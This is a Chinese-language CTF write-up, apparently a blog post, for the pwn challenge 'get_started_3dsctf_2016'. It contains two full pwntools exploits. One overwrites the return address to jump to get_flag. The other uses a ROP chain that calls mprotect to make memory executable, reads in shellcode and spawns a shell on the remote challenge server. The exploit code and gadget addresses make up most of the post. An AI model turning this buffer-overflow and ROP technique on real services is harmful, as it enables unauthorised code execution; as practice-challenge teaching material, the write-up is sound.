• get_started_3dsctf_2016-Pwn


    get_started_3dsctf_2016-Pwn

    这个题确实有点坑,在本地能打,在远程就不能打了,于是我就换了另一种方法来做.
    确这个题是没有动态链接库,且PIE是关的,所以程序的大部分地址已经定死了,帮了大忙了.
    

    第一个本地能打通的思路(远程打不了)

    修改eip跳转到get_flag函即可,可是直接进行跳转到该函数,会存在一个过滤,把该地址给过滤掉了,其实往后退几个指令就行
    后面我查了一下国外的资料,他是的方法跟我一样,就是在buuctf里远程打不了.
    
    外国大牛博客:http://www.infohelp.org
    废话我就不多说了,下面是本地能打的exp,(前提是你自己创建了一个flag.txt文件)
    from pwn import *
    context.log_level = 'debug'
    elf = ELF('./get_started_3dsctf_2016')
    sh = elf.process()
    printf_addr = 0x0804F0E0
    main = 0x08048A20
    get_flag = 0x080489B8
    payload_01 = 'A' * 56 + p32(get_flag)
    sh.sendline(payload_01)
    sh.interactive()
    

    第二个思路:(该方法能打远程)

    修改使用mprotec函数修改内存的权限为可读可写可执行,然后在该内存中写入自己的shellcode,执行该代码即可.
    首先按先说一下mprotect函数:原型如下
    int mprotect(void *addr, size_t len, int prot);
    addr 内存启始地址
    len  修改内存的长度
    prot 内存的权限
    要想达到内存可执行的目的,我们看一下哪个内存最好修改,使用edb-debuger查看,或
    $ ./ get_started_3dsctf_2016 &
    $ cat /proc/[you_pid]/maps 查看内存区域
    可以查看到,内存可读可写的地址为: 0x80EB000 ,所以我们对该内存进行增加一个权限
    

    如何进行内存的权限修改,思路:

    1.栈溢出ret 到 mprotect函数地址,我来解释一下 call 指令, call = push + jmp
    所以直接ret后要留一个返回地址,因为ret 就相当于 jmp 到 mprotect,为了完整的回来,所以在
    mprotect地址后在压入一个返回地址.
    2.在32为系统中传参是使用栈传参,择第一个参数先push,第二个再push....
    所以基本的payload可以构思如下:
    payload = 'A' + 0x38 + p32(mprotect_addr)
    payload += p32(ret_addr) + p32(argu1) + p32(argu2) +p32 (argu3)
    
    这里的mprotect_addr就是我们要跳转到mprotect函数的地址
    ret_addr 为 mprotect函数执行完后的地址.
    argu1 为mprotect函数的第一个参数 (被修改内存的地址) 设置为 0x0x80EB000 (edb-debuger查看得到)
    argu2 为mprotect函数的第二个参数 (被修改内存的大小) 设置为 0x1000 (0x1000通过程序启动时查看该内存块的大小的到的)
    argu3 为mprotect函数的第三个参数 (被修改内存的权限) 设置为 7 = 4 + 2 +1 (rwx)
    
    为了后续再能使用栈ret,我们的构造一下栈的布局,因为mprotect函数使用到了3个参数,我们就找存在3个连续pop的指令
    为啥要找3个pop,也就是在正常情况下,函数传参是使用push,所以要为了堆栈还原,函数调用结束时就使用pop来保证堆栈
    完好.
    
    使用 ROPgadget --binary get_started_3dsctf_2016 --only 'pop|ret' | grep pop
    存在pop的一些指令地址,可以发现:
    0x0804f460 : pop ebx ; pop esi ; pop ebp ; ret
    那我们就得到了该地址.
    上面的ret_addr就填写0x0804f460
    而现在的payload就可以为:
    payload = 'A' + 0x38 + p32(mprotect_addr)
    payload += p32(pop3_addr) + p32(mem_addr) + p32(mem_size) +p32 (mem_proc)
    payload += p32(ret_addr2)
    
    ret_addr2 即为执行完mprotect函数即弹出栈后的返回地址.我们也就可以再次利用栈的ret来控制eip,
    即为下一个函数read的地址.
    

    如何向内存写入shellcode

    好下面我们就要构思如何将自己的shellcode写入内存再执行,使用read函数写入.
    read函数原型:
    ssize_t read(int fd, void *buf, size_t count);
    fd 设为0时就可以从输入端读取内容    设为0
    buf 设为我们想要执行的内存地址     设为我们已找到的内存地址0x80EB000
    size 适当大小就可以              设为0x100就可以了
    
    现在的payload也就可以构造如下
    payload = 'A' + 0x38 + p32(mprotect_addr)
    payload += p32(pop3_addr) + p32(mem_addr) + p32(mem_size) +p32 (mem_proc)
    payload += p32(read_addr) + p32(ret_addr2) + p32(0x0) + p32(mem_addr) +p32 (0x100)
    read函数也跟mprotect一样的例子,就是 call = push + jmp.
    read_addr 后面的一个ret_addr2就是执行完read函数后的返回地址.再次使用pop3_ret弹掉3个已用的参数,接着还可
    以利用栈ret来控制eip跳转到mem_addr执行自己的shellcode, payload如下.
    
    payload = 'A' + 0x38 + p32(mprotect_addr)
    payload += p32(pop3_addr) + p32(mem_addr) + p32(mem_size) +p32 (mem_proc)
    payload += p32(read_addr) + p32(ret_addr2) + p32(0x0) + p32(mem_addr) +p32 (0x100)
    payload += p32(mem_addr)
    
    然而在执行read函数时就可以输入shellcode,即payload2为:
    payload_sh = asm(shellcraft.sh(),arch = 'i386', os = 'linux')
    

    最终exp如下:

    # _*_ coding:utf-8 _*_
    from pwn import *
    
    elf = ELF('./get_started_3dsctf_2016')
    sh = elf.process()
    sh = remote('node3.buuoj.cn', 28576)
    
    pop3_ret = 0x804951D
    '''
    pop esi
    pop edi
    pop ebp
    '''
    mem_addr = 0x80EB000 #可读可写的内存,但不可执行
    mem_size = 0x1000    #通过调试出来的值
    mem_proc = 0x7       #可代表可读可写可执行
    
    mprotect_addr = elf.symbols['mprotect']
    read_addr = elf.symbols['read']
    
    '''
    为了连续在堆栈中执行,就是用pop3_ret来控制esp,使它往下弹掉已用的3个值.
    
    '''
    payload_01 = 'A' * 0x38
    payload_01 += p32(mprotect_addr)
    payload_01 += p32(pop3_ret) #执行完mprotect的返回地址,使esp往下+12
    
    #mprotect 的三个参数
    payload_01 += p32(mem_addr)   #mprotect函数参数1 修改的内存地址
    payload_01 += p32(mem_size)   #mprotect函数参数2 修改的内存大小
    payload_01 += p32(mem_proc)   #mprotect函数参数3 修改的权限
    
    payload_01 += p32(read_addr) #执行完pop3_ret后弹到read地址
    
    payload_01 += p32(pop3_ret)  #执行完read后将返回到pop3_ret指令,又继续使esp+12
    
    #read 的三个参数
    payload_01 += p32(0)     #read函数参数1 ,从输入端读取
    payload_01 += p32(mem_addr)   #读取到的内容复制到指向的内存里
    payload_01 += p32(0x100) #读取大小
    
    payload_01 += p32(mem_addr)   #执行完read后ret esi
    
    sh.sendline(payload_01)
    payload_sh = asm(shellcraft.sh(),arch = 'i386', os = 'linux') 
    
    sh.sendline(payload_sh)
    
    sh.interactive()
    
    
  • 相关阅读:
    搭建selenium+python自动化环境
    编写函数计算一个数字的长度
    编写函数digit(num, k),函数功能是:求整数num从右边开始的第k位数字的值,如果num位数不足k位则返回0。
    求m-n之间数字的和
    编写一个函数,生成4位数字的验证码
    编写一个函数,在页面上输出一个N行M列的表格,表格内容填充0~100的随机数字
    编写一个函数,计算三个数字的大小,按从小到大的顺序输出
    编写函数,判断一个字符串的内容是不是纯数字
    编写函数,求圆的面积
    编写一个函数,计算两个数字的和差积商
  • 原文地址:https://www.cnblogs.com/lyxf/p/12113401.html
一二三 - 开发者的网上家园